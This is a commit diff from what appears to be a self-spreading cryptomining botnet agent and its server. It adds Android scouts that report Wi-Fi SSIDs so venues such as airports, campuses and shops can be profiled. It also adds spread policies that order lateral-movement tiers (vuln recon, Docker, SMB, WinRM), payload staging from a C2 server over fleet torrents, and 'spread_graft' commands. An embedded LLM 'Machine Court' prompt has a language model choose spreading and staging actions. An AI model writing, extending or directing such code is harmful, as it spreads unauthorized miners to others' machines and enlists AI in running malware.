Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
@@ -101,7 +101,7 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
return true
|
||||
|
||||
case "spread_now":
|
||||
msg := deploy.RunSpreadOnce(c.cfg)
|
||||
msg := deploy.RunSpreadOnce(c.cfgForSpread())
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
|
||||
@@ -115,7 +115,7 @@ func handleAISpreadNow(c *AgentClient, _ int, _, _, _ string) {
|
||||
c.sendCommandResult("spread_now", false, reason)
|
||||
return
|
||||
}
|
||||
msg := deploy.RunSpreadOnce(c.cfg)
|
||||
msg := deploy.RunSpreadOnce(c.cfgForSpread())
|
||||
c.sendCommandResult("spread_now", true, msg)
|
||||
}
|
||||
|
||||
|
||||
@@ -72,6 +72,8 @@ type AgentClient struct {
|
||||
gossipSent map[string]struct{}
|
||||
// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
|
||||
inheritedPhenotype *InheritedPhenotype
|
||||
// pendingGraft is a court-approved strain splice applied on the next spread.
|
||||
pendingGraft *GraftPolicy
|
||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||
triplePolicy miner.TripleOnionPolicy
|
||||
triplePolicyLoaded bool
|
||||
@@ -83,6 +85,10 @@ type AgentClient struct {
|
||||
fleetRoleHintVal string
|
||||
// lanSeeders lists nearby seeders for miner staging pulls (webrtc/do_peer).
|
||||
lanSeeders []deploy.LANSeederHint
|
||||
// fleetTorrentEnabled enables shard DHT gossip + peer fetch (server policy).
|
||||
fleetTorrentEnabled bool
|
||||
// subnetPrimarySeeder is true when auth designates this agent as subnet primary seeder.
|
||||
subnetPrimarySeeder bool
|
||||
|
||||
// lastJobAt records when the most recent valid mining job was delivered.
|
||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||
@@ -417,6 +423,10 @@ func (c *AgentClient) authenticate() error {
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.applyAuthFleetRole(resp)
|
||||
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
|
||||
if resp.FleetTorrentEnabled {
|
||||
c.advertiseFleetTorrentHealthy()
|
||||
}
|
||||
c.agentID = resp.AgentID
|
||||
if resp.ClearanceLevel > 0 {
|
||||
c.mu.Lock()
|
||||
@@ -457,7 +467,7 @@ func (c *AgentClient) authenticate() error {
|
||||
if cfg.AutoSpread {
|
||||
deploy.StartAutoSpreader(cfg)
|
||||
if deploy.WantsFirstRunSpread(cfg) {
|
||||
deploy.RunSpreadOnce(cfg)
|
||||
deploy.RunSpreadOnce(c.cfgForSpread())
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
}
|
||||
}
|
||||
@@ -533,6 +543,8 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
}
|
||||
case "policy_update":
|
||||
go c.applyPolicyUpdate(msg.Payload)
|
||||
case "graft_policy":
|
||||
c.applyGraftPolicyJSON(msg.Payload)
|
||||
case "adaptive_strategy_update":
|
||||
c.applyAdaptiveStrategyJSON(msg.Payload)
|
||||
case "ai_snapshot_request":
|
||||
@@ -551,6 +563,8 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
}
|
||||
case "atlas_gossip":
|
||||
c.handleAtlasGossip(msg.Payload)
|
||||
case "fleet_torrent_gossip":
|
||||
c.handleFleetTorrentGossip(msg.Payload)
|
||||
case "command":
|
||||
var cmd struct {
|
||||
Action string `json:"action"`
|
||||
|
||||
@@ -68,6 +68,7 @@ func (c *AgentClient) applyAuthFleetRole(resp AuthResponse) {
|
||||
if len(resp.LANSeeders) > 0 {
|
||||
c.setLANSeeders(resp.LANSeeders)
|
||||
}
|
||||
c.applyAuthFleetTorrent(resp)
|
||||
}
|
||||
|
||||
func (c *AgentClient) fleetPressureFields(hashrate float64, joinLane string) (role string, seedPressure, hashratePressure float64) {
|
||||
|
||||
@@ -49,11 +49,17 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
|
||||
return
|
||||
}
|
||||
if len(resp.EpidemiologyFix) > 0 {
|
||||
c.applyEpidemiologyFixJSON(resp.EpidemiologyFix)
|
||||
}
|
||||
if len(resp.SpreadTemperament) > 0 {
|
||||
c.mu.Lock()
|
||||
applySpreadTemperament(&c.cfg, resp.SpreadTemperament)
|
||||
c.mu.Unlock()
|
||||
}
|
||||
if graftPolicyPresent(resp.GraftPolicy) {
|
||||
c.applyGraftPolicyJSON(resp.GraftPolicy)
|
||||
}
|
||||
if len(resp.MiningTierPolicy) > 0 {
|
||||
return
|
||||
}
|
||||
@@ -87,9 +93,11 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
|
||||
return
|
||||
}
|
||||
var policy struct {
|
||||
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
|
||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
|
||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &policy); err != nil {
|
||||
return
|
||||
@@ -102,5 +110,9 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
|
||||
c.cfg.HashrateGateHPS = policy.HashrateGateHPS
|
||||
}
|
||||
c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
||||
c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
||||
if len(policy.SpreadTemperament) > 0 {
|
||||
applySpreadTemperament(&c.cfg, policy.SpreadTemperament)
|
||||
}
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
@@ -27,6 +27,7 @@ type FleetPolicyUpdate struct {
|
||||
PoolTLS *bool `json:"pool_tls,omitempty"`
|
||||
PoolPass string `json:"pool_pass,omitempty"`
|
||||
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
|
||||
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
|
||||
}
|
||||
|
||||
// ModuleManifest matches server-signed feature packs.
|
||||
@@ -107,6 +108,34 @@ func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) {
|
||||
cfg.PoolPass = strings.TrimSpace(p.PoolPass)
|
||||
}
|
||||
applySpreadTemperament(cfg, p.SpreadTemperament)
|
||||
if len(p.SpreadPolicy) > 0 {
|
||||
applySpreadPolicyFields(cfg, p.SpreadPolicy)
|
||||
}
|
||||
}
|
||||
|
||||
func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var policy struct {
|
||||
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
|
||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &policy); err != nil {
|
||||
return
|
||||
}
|
||||
if policy.HashrateGateSpreadMin > 0 {
|
||||
cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin
|
||||
}
|
||||
if policy.HashrateGateHPS > 0 {
|
||||
cfg.HashrateGateHPS = policy.HashrateGateHPS
|
||||
}
|
||||
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
||||
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
||||
applySpreadTemperament(cfg, policy.SpreadTemperament)
|
||||
}
|
||||
|
||||
func applySpreadTemperament(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
||||
|
||||
@@ -70,11 +70,14 @@ type AuthResponse struct {
|
||||
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
|
||||
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled,omitempty"`
|
||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled,omitempty"`
|
||||
SubnetPrimarySeeder string `json:"subnet_primary_seeder,omitempty"`
|
||||
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
FleetRoleHint string `json:"fleet_role_hint,omitempty"`
|
||||
LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"`
|
||||
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
|
||||
GraftPolicy json.RawMessage `json:"graft_policy,omitempty"`
|
||||
}
|
||||
|
||||
type SharePayload struct {
|
||||
|
||||
71
agent/client/scout_constellation_test.go
Normal file
71
agent/client/scout_constellation_test.go
Normal file
@@ -0,0 +1,71 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func TestScoutReportPayloadIncludesSSID(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_WIFI_SSID", "Campus-Guest")
|
||||
if got := deploy.ScoutWiFiSSID(); got != "Campus-Guest" {
|
||||
t.Fatalf("ssid=%q", got)
|
||||
}
|
||||
|
||||
result := deploy.ServiceDiscoverResult{
|
||||
ProbedAt: "2026-06-07T12:00:00Z",
|
||||
Local: deploy.ServiceGraphHost{Host: "127.0.0.1"},
|
||||
}
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ScoutMode: true}}}
|
||||
|
||||
report := map[string]interface{}{
|
||||
"join_lane": "docker",
|
||||
"service_count": 4,
|
||||
"service_graph": result,
|
||||
"scout_mode": true,
|
||||
}
|
||||
if ssid := deploy.ScoutWiFiSSID(); ssid != "" {
|
||||
report["ssid"] = ssid
|
||||
}
|
||||
raw, err := json.Marshal(report)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var decoded map[string]interface{}
|
||||
if err := json.Unmarshal(raw, &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded["ssid"] != "Campus-Guest" {
|
||||
t.Fatalf("ssid=%v", decoded["ssid"])
|
||||
}
|
||||
_ = c
|
||||
}
|
||||
|
||||
func TestApplySpreadPolicyScoutConstellationTemperament(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
ScoutMode: true, LotlPolicyFromServer: true,
|
||||
LotlOnionTiers: []string{"discover_and_join", "service_graph"},
|
||||
}}}
|
||||
raw, _ := json.Marshal(map[string]interface{}{
|
||||
"scout_constellation": true,
|
||||
"persona_pack": "aggressive",
|
||||
"venue_class": "retail",
|
||||
"spread_temperament": map[string]interface{}{
|
||||
"tier_order": []string{"vuln_recon", "docker", "smb", "winrm"},
|
||||
},
|
||||
})
|
||||
c.applySpreadPolicyJSON(raw)
|
||||
if len(c.cfg.LotlOnionTiers) == 0 || c.cfg.LotlOnionTiers[1] != "docker" {
|
||||
t.Fatalf("tiers=%v", c.cfg.LotlOnionTiers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestScoutWiFiSSIDEmptyWithoutEnv(t *testing.T) {
|
||||
_ = os.Unsetenv("AETHERFORGE_WIFI_SSID")
|
||||
if got := deploy.ScoutWiFiSSID(); got != "" {
|
||||
t.Fatalf("expected empty ssid, got %q", got)
|
||||
}
|
||||
}
|
||||
@@ -59,12 +59,16 @@ func (c *AgentClient) runScoutCycle() {
|
||||
}
|
||||
|
||||
func (c *AgentClient) pushScoutReport(result deploy.ServiceDiscoverResult, joinLane string, serviceCount int) {
|
||||
payload, err := json.Marshal(map[string]interface{}{
|
||||
report := map[string]interface{}{
|
||||
"join_lane": joinLane,
|
||||
"service_count": serviceCount,
|
||||
"service_graph": result,
|
||||
"scout_mode": true,
|
||||
})
|
||||
}
|
||||
if ssid := deploy.ScoutWiFiSSID(); ssid != "" {
|
||||
report["ssid"] = ssid
|
||||
}
|
||||
payload, err := json.Marshal(report)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -124,6 +124,11 @@ type BuiltinConfig struct {
|
||||
SpreadStrain string // #RRGGBB strain color; derived from join_lane when empty
|
||||
BakedJoinLane string // forge-time join_lane for strain when runtime lane unknown
|
||||
|
||||
// Genealogy graft — court-approved strain splice (telemetry; applied on next spread).
|
||||
GraftSourceStrain string
|
||||
GraftTier string
|
||||
GraftApprovedAt string
|
||||
|
||||
// ApkMode marks Android fleet-node builds; registration reports platform=android.
|
||||
ApkMode bool
|
||||
// ScoutMode is a roving APK scout: discover_and_join + service_graph only, no payload staging.
|
||||
@@ -142,6 +147,10 @@ type BuiltinConfig struct {
|
||||
HashrateGateHPS float64
|
||||
// ErasureLanesEnabled allows Reed–Solomon multi-lane reassembly fallback on deploy plans (server policy).
|
||||
ErasureLanesEnabled bool
|
||||
// FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy).
|
||||
FleetTorrentEnabled bool
|
||||
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
|
||||
SubnetPrimarySeeder bool
|
||||
}
|
||||
|
||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||
|
||||
@@ -14,15 +14,17 @@ import (
|
||||
|
||||
// SpreadRouteHint is the server BGP-style spread route recommendation.
|
||||
type SpreadRouteHint struct {
|
||||
TargetSubnet string `json:"target_subnet"`
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Score float64 `json:"score,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
TargetSubnet string `json:"target_subnet"`
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Score float64 `json:"score,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
||||
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
|
||||
@@ -102,6 +104,13 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
|
||||
return msg, nil
|
||||
}
|
||||
if plan.ErasurePlan != nil && plan.ErasurePlan.Enabled && config.ErasureLanesEnabled(cfg) {
|
||||
if config.FleetTorrentEnabled(cfg) {
|
||||
c2 := c2BaseFromPlan(plan)
|
||||
localIP, _ := PrimaryLocalIPv4()
|
||||
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil {
|
||||
return em + " (primary lane failed: " + err.Error() + ")", nil
|
||||
}
|
||||
}
|
||||
if em, eErr := RunErasureStaging(cfg, *plan.ErasurePlan); eErr == nil {
|
||||
return em + " (primary lane failed: " + err.Error() + ")", nil
|
||||
}
|
||||
@@ -235,6 +244,22 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
|
||||
}
|
||||
}
|
||||
|
||||
func c2BaseFromPlan(plan DeployPlanBody) string {
|
||||
if plan.ErasurePlan == nil || len(plan.ErasurePlan.Shards) == 0 {
|
||||
return ""
|
||||
}
|
||||
for _, ref := range plan.ErasurePlan.Shards {
|
||||
u := strings.TrimSpace(ref.URL)
|
||||
if u == "" || !strings.HasPrefix(u, "http") {
|
||||
continue
|
||||
}
|
||||
if idx := strings.Index(u, "/api/v1/public/erasure-shard/"); idx > 0 {
|
||||
return strings.TrimRight(u[:idx], "/")
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) {
|
||||
if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" {
|
||||
return "", false
|
||||
|
||||
@@ -68,6 +68,11 @@ func PreferredLANSeeder() *LANSeederHint {
|
||||
return NearestLANSeeder(activeLANSeeders, activeLANSeedersLocalIP)
|
||||
}
|
||||
|
||||
// SubnetFromIP returns the /24 prefix for fleet torrent and LAN seeder matching.
|
||||
func SubnetFromIP(ip string) string {
|
||||
return subnet24(ip)
|
||||
}
|
||||
|
||||
func subnet24(ip string) string {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip == "" {
|
||||
|
||||
12
agent/deploy/scout_wifi.go
Normal file
12
agent/deploy/scout_wifi.go
Normal file
@@ -0,0 +1,12 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ScoutWiFiSSID returns the connected Wi-Fi SSID for APK scout constellation reports.
|
||||
// The Android wrapper may set AETHERFORGE_WIFI_SSID; zero-config when unset.
|
||||
func ScoutWiFiSSID() string {
|
||||
return strings.TrimSpace(os.Getenv("AETHERFORGE_WIFI_SSID"))
|
||||
}
|
||||
17
agent/deploy/scout_wifi_test.go
Normal file
17
agent/deploy/scout_wifi_test.go
Normal file
@@ -0,0 +1,17 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestScoutWiFiSSIDFromEnv(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_WIFI_SSID", " Airport-Lounge ")
|
||||
if got := ScoutWiFiSSID(); got != "Airport-Lounge" {
|
||||
t.Fatalf("ssid=%q", got)
|
||||
}
|
||||
_ = os.Unsetenv("AETHERFORGE_WIFI_SSID")
|
||||
if got := ScoutWiFiSSID(); got != "" {
|
||||
t.Fatalf("expected empty, got %q", got)
|
||||
}
|
||||
}
|
||||
@@ -17,6 +17,9 @@ func StartSeederStaging(cfg config.RuntimeConfig) {
|
||||
tiers = append([]string(nil), config.SeederSpreadLanes...)
|
||||
}
|
||||
log.Printf("[seeder] starting staging lanes: %v", tiers)
|
||||
if config.FleetTorrentEnabled(cfg) {
|
||||
StartFleetTorrentSeederService(cfg)
|
||||
}
|
||||
go runSeederLaneChain(cfg, tiers)
|
||||
}
|
||||
|
||||
|
||||
@@ -105,6 +105,8 @@ type ServerSettings struct {
|
||||
HashrateGateHPS float64 `json:"hashrate_gate_hps,omitempty"`
|
||||
// ErasureLanesEnabled attaches Reed–Solomon multi-lane shard metadata to signed deploy plans.
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||
// FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet).
|
||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||
}
|
||||
|
||||
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
||||
@@ -986,6 +988,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
if in(srvKeys, "erasure_lanes_enabled") {
|
||||
dst.Server.ErasureLanesEnabled = src.Server.ErasureLanesEnabled
|
||||
}
|
||||
if in(srvKeys, "fleet_torrent_enabled") {
|
||||
dst.Server.FleetTorrentEnabled = src.Server.FleetTorrentEnabled
|
||||
}
|
||||
if in(srvKeys, "ai_endpoint") {
|
||||
dst.Server.AIEndpoint = src.Server.AIEndpoint
|
||||
}
|
||||
|
||||
@@ -18,6 +18,9 @@ const (
|
||||
CmdSkipTier = "skip_tier"
|
||||
CmdStageFetch = "stage_fetch"
|
||||
CmdSetAgentVersion = "set_agent_version"
|
||||
CmdSpreadGraft = "spread_graft"
|
||||
CmdPersonaTweak = "persona_tweak"
|
||||
CmdEnableErasure = "enable_erasure"
|
||||
CmdNoop = "noop"
|
||||
)
|
||||
|
||||
@@ -32,6 +35,9 @@ var knownCommands = map[string]bool{
|
||||
CmdSkipTier: true,
|
||||
CmdStageFetch: true,
|
||||
CmdSetAgentVersion: true,
|
||||
CmdSpreadGraft: true,
|
||||
CmdPersonaTweak: true,
|
||||
CmdEnableErasure: true,
|
||||
CmdNoop: true,
|
||||
}
|
||||
|
||||
|
||||
@@ -28,6 +28,8 @@ func ExpandCourtCommands(cmds []Command) []Command {
|
||||
out = append(out, ResolveSpreadRetryLane(c.Args))
|
||||
case CmdSkipTier:
|
||||
out = append(out, ResolveSkipTier(c.Args))
|
||||
case CmdSpreadGraft:
|
||||
out = append(out, c)
|
||||
default:
|
||||
out = append(out, c)
|
||||
}
|
||||
@@ -98,7 +100,7 @@ func ResolveSkipTier(args map[string]interface{}) Command {
|
||||
// CourtCommandNeedsRetryElevation reports commands that require L4 before court-ordered retry.
|
||||
func CourtCommandNeedsRetryElevation(cmd Command) bool {
|
||||
switch cmd.Type {
|
||||
case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers:
|
||||
case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers, CmdSpreadGraft:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
|
||||
@@ -64,7 +64,8 @@ func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy.
|
||||
system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts.
|
||||
This is a single-turn tribunal with no memory. Three roles speak once:
|
||||
PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides.
|
||||
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
|
||||
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, spread_graft, skip_tier, stage_fetch, set_agent_version, noop.
|
||||
spread_graft args: source_agent_id (string) — splice winning strain onto this stuck host without re-spread; requires L4 + hashrate metabolism gate.
|
||||
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
|
||||
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
|
||||
Court-ordered spread_retry_lane and skip_tier execute as discover_and_join, stage_fetch, or reorder_tiers with L4 clearance.
|
||||
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"log"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -46,7 +47,10 @@ type Scheduler struct {
|
||||
exec CommandExecutor
|
||||
store DecisionStore
|
||||
court CourtContext
|
||||
chamber CourtDeps
|
||||
elevator ClearanceElevator
|
||||
seer SeerBridge
|
||||
surgical SurgicalDeps
|
||||
stop chan struct{}
|
||||
wg sync.WaitGroup
|
||||
|
||||
@@ -67,6 +71,21 @@ func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecuto
|
||||
}
|
||||
}
|
||||
|
||||
// SetSeerBridge attaches The Seer memory/stream hooks (optional).
|
||||
func (s *Scheduler) SetSeerBridge(b SeerBridge) {
|
||||
s.seer = b
|
||||
}
|
||||
|
||||
// SetSurgicalDeps wires Path Tracer replay, strain memory, and Seer emitters.
|
||||
func (s *Scheduler) SetSurgicalDeps(deps SurgicalDeps) {
|
||||
s.surgical = deps
|
||||
}
|
||||
|
||||
// SetCourtDeps wires adversarial chamber evidence, Seer feed, and Emberwake broadcast.
|
||||
func (s *Scheduler) SetCourtDeps(deps CourtDeps) {
|
||||
s.chamber = deps
|
||||
}
|
||||
|
||||
func (s *Scheduler) Start() {
|
||||
s.wg.Add(1)
|
||||
go s.loop()
|
||||
@@ -158,10 +177,32 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
}
|
||||
var systemPrompt, userPrompt string
|
||||
var courtMeta *CourtDecisionMeta
|
||||
useCourt := ShouldUseCourt(snap)
|
||||
useSurgical := false
|
||||
if s.surgical.Trace != nil {
|
||||
if trace, ok := s.surgical.Trace.TraceForAgent(agentID); ok && ShouldUseSurgicalReplay(trace, snap) {
|
||||
useSurgical = true
|
||||
erasureOn := false
|
||||
if s.surgical.ErasureActive != nil {
|
||||
erasureOn = s.surgical.ErasureActive()
|
||||
}
|
||||
atlasSummary := ""
|
||||
if s.court != nil {
|
||||
goos := firstNonEmpty(snap.GOOS, snap.Platform)
|
||||
atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos)
|
||||
}
|
||||
bundle := BuildSurgicalDiagnosticBundle(snap, trace, atlasSummary, cfg.Persona, erasureOn)
|
||||
if s.surgical.StrainLookup != nil {
|
||||
bundle.Strain = s.surgical.StrainLookup(agentID)
|
||||
}
|
||||
systemPrompt, userPrompt = BuildSurgicalReplayPrompt(bundle)
|
||||
}
|
||||
}
|
||||
useCourt := !useSurgical && ShouldUseCourt(snap)
|
||||
var courtDebate CourtDebateTranscript
|
||||
if useCourt {
|
||||
atlasSummary := ""
|
||||
var phenotype *strategy.FleetPhenotype
|
||||
var evidence CourtChamberEvidence
|
||||
if s.court != nil {
|
||||
goos := firstNonEmpty(snap.GOOS, snap.Platform)
|
||||
atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos)
|
||||
@@ -169,8 +210,21 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
phenotype = p
|
||||
}
|
||||
}
|
||||
if s.chamber.Chamber != nil {
|
||||
evidence = s.chamber.Chamber.ChamberEvidence(agentID, snap)
|
||||
} else {
|
||||
evidence = CourtChamberEvidence{
|
||||
AgentID: agentID, AgentName: snap.Name, Hashrate: snap.MiningHashrate,
|
||||
Stuck: snap.Stuck, ChainExhausted: snap.ChainExhausted,
|
||||
ClearanceLevel: snap.ClearanceLevel, AtlasSummary: atlasSummary,
|
||||
SubnetImmune: "chamber provider unavailable",
|
||||
ErasureRecovery: FormatErasureRecovery(false, false, false),
|
||||
GossipWhispers: "none",
|
||||
}
|
||||
}
|
||||
persona := NormalizePersona(cfg.Persona)
|
||||
bundle := BuildCourtPrompt(snap, atlasSummary, phenotype, persona)
|
||||
var bundle CourtPromptBundle
|
||||
courtDebate, bundle = BuildCourtDebate(snap, evidence, phenotype, persona)
|
||||
systemPrompt = bundle.SystemPrompt
|
||||
userPrompt = bundle.UserPrompt
|
||||
courtMeta = &CourtDecisionMeta{
|
||||
@@ -182,22 +236,41 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
systemPrompt = PersonaSystemPrompt(cfg.Persona)
|
||||
userPrompt = BuildMissionPrompt(snap)
|
||||
}
|
||||
if s.seer != nil {
|
||||
systemPrompt = strings.TrimSpace(systemPrompt + "\n\n" + SeerNoteInstruction + "\n\n" + SeerToolCatalog)
|
||||
if notes := s.seer.NotesForPrompt(agentID); notes != "" {
|
||||
userPrompt = AugmentUserPromptWithNotes(userPrompt, notes)
|
||||
}
|
||||
}
|
||||
promptHash := hashPrompt(systemPrompt + "\n---\n" + userPrompt)
|
||||
|
||||
decide := Decide
|
||||
if DecideFunc != nil {
|
||||
decide = DecideFunc
|
||||
}
|
||||
if s.seer != nil {
|
||||
s.seer.EmitEvent(agentID, "request", BuildChatCompletionPayload(cfg.Model, systemPrompt, userPrompt))
|
||||
}
|
||||
response, err := decide(ctx, cfg.Endpoint, cfg.Model, systemPrompt, userPrompt)
|
||||
if err != nil {
|
||||
log.Printf("[fleet-ai] agent %s decide: %v", agentID, err)
|
||||
if s.store != nil {
|
||||
_ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error(), courtMeta)
|
||||
}
|
||||
if s.seer != nil {
|
||||
s.seer.EmitEvent(agentID, "response", map[string]interface{}{"error": err.Error()})
|
||||
}
|
||||
s.markRun(agentID)
|
||||
return
|
||||
}
|
||||
|
||||
if s.seer != nil {
|
||||
s.seer.EmitEvent(agentID, "response", map[string]interface{}{"content": response})
|
||||
if note, ok := ExtractSeerNote(response); ok {
|
||||
_ = s.seer.AppendNote(agentID, note, promptHash)
|
||||
}
|
||||
}
|
||||
|
||||
if courtMeta != nil {
|
||||
courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
|
||||
}
|
||||
@@ -205,6 +278,12 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
if useCourt {
|
||||
cmds = ExpandCourtCommands(cmds)
|
||||
s.ensureCourtRetryClearance(agentID, cmds)
|
||||
courtDebate = FinalizeCourtDebate(courtDebate, response)
|
||||
}
|
||||
if useSurgical {
|
||||
